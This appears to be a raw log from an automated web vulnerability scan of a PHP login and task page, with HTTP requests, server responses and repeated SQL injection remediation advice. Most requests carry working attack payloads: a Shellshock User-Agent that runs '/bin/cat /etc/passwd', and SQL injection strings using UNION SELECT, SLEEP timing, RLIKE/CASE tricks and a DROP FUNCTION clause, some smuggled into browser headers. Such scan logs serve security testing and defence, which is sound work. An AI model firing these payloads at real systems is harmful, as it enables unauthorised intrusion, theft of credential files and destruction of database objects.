referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Connection: Close

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:16:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi?query=query%25%22+AND+7672%3D2978%23 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:57:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi?query=query%29+AND+2865%3D5035%23 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:14:13 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW%27+AND+9178%3D7531%23 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 129
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

username=RawPHP&password='UNION%20SELECT%20NULL,NULL,NULL%20--%20-+--+-&secret=LNQ3Bj9ApCtipW5UD0Mh8tBChlT5x3xeXS7IAWL74FJPD4L1Cd

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:15:28 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>54</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>54</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>56</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 157
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-+AND+5253%3D4477%23&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 01:27:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54%27%29%29+AND+6674%3D5309%23 HTTP/1.1
host: 142.202.242.172
Connection: Close
Content-Length: 138
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 05:14:24 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54%25%27%3BIF%286448%3D5605%29+SELECT+6448+ELSE+DROP+FUNCTION+rLMz--&task_select=1&params=%27+UNION+SELECT+%40%40version+--+-&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs= HTTP/1.1
host: 142.202.242.172
Connection: Close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 00:13:30 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\unauthorized.php</b> on line <b>5</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects?query=%28SELECT+%28CASE+WHEN+%287490%3D9017%29+THEN+%27+ELSE+7490*%28SELECT+7490+FROM+mysql.db%29+END%29%29 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:25:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 169
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-%29%29%3BSELECT+SLEEP%285%29%23&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.0 0

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"")) AND SLEEP(5) AND (("PQXH"="PQXH
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 200 OK
Date: Mon, 11 Mar 2024 03:15:13 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 3435
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>A.D.E | Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
<style>
body {
background-color: #1e1e1e;
color: #fff;
}
.login-container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
margin-top: 50px;
}
.image-container {
text-align: center;
margin-bottom: 30px;
}

.image-container img {
width: 500px;
height: auto;
}
.notification {
display: block;
position: fixed;
bottom: 30px;
right: 30px;
color: white;
border-radius: 12px;
padding: 20px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.7);
animation: slideIn 0.5s ease-in-out, fadeOut 0.5s 4.5s forwards;
max-width: 600px;
}

@keyframes slideIn {
from {
transform: translateY(100%);
}
to {
transform: translateY(0);
}
}

@keyframes fadeOut {
from {
opacity: 1;
}
to {
opacity: 0;
}
}
</style>
</head>
<body>

<div class="image-container">
<img src="Capture.PNG" alt="Logo">
</div>
<div class="login-container bg-dark p-4 rounded">
<form action="" method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" class="form-control" name="username" id="username" required>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" class="form-control" name="password" id="password" required>
</div>
<div class="form-group">
<label for="password">Secret Phrase (Security Layer)</label>
<input type="secret" class="form-control" name="secret" id="secret">
</div>
<button type="submit" class="btn btn-primary btn-block">Login</button>
</form>
</div>
<div style="height: 100px; overflow-y: auto;">
<div class="notifications">

<div class='error-panel fade-out' style='margin-top: 90px; margin-left: 220px;'>
<div class='notification' style='background-color: rgba(255, 0, 0, 0.5); width: 650px;'>
<h5><i class='fas fa-user-times' style='color: #ff0000;'></i> Invalid Credentials</h5>
<p></p>
</div>
</div><audio id="errorSound" src="Sound Effects/error.wav" preload="auto"></audio> </div>

</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script>

document.addEventListener("DOMContentLoaded", function() {
var errorPanel = document.querySelector('.error-panel.fade-out');
if (errorPanel) {
setTimeout(function() {
errorPanel.style.opacity = '0';
setTimeout(function() {
errorPanel.remove();
}, 1000);
}, 5000);
}
});
</script>
</body>
</html>

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

POST http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
content-length: 200
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://142.202.242.172
Content-Type: application/x-www-form-urlencoded
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

task_select=1&params=%27+UNION+SELECT+%40%40version+--+-%29+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%285%29%29%29kgZD%29&unit_EXEC=18.9&limit=%27+UNION+SELECT+%40%40version+--+-&dllFunction=&customArgs=

HTTP/1.0 0

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

POST http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi?query=query%27%29+AND+MAKE_SET%282815%3D4252%2C4252%29+AND+%28%27ueQl%27%3D%27ueQl HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
content-length: 0
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Connection: Close

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:22:51 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.

Apply the privilege of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

A SQL injection may be possible using the attached payload

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%20OR%201=1?query=query%22%29+RLIKE+%28SELECT+%28CASE+WHEN+%284126%3D5859%29+THEN+0x7175657279+ELSE+0x28+END%29%29+AND+%28%22YByN%22%3D%22YByN HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n
Connection: Close

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:20:35 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects/error.wav?query=query%25%27%29%29+RLIKE+%28SELECT+%28CASE+WHEN+%282121%3D7848%29+THEN+0x7175657279+ELSE+0x28+END%29%29+AND+%28%28%27%25%27%3D%27 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Connection: Close
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:21:24 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/tasks_page.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: Close
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0') RLIKE (SELECT (CASE WHEN (9490=8108) THEN 0x3f30 ELSE 0x28 END)) AND ('DfYe' LIKE 'DfYe
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Mon, 11 Mar 2024 05:27:12 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 560
Connection: close
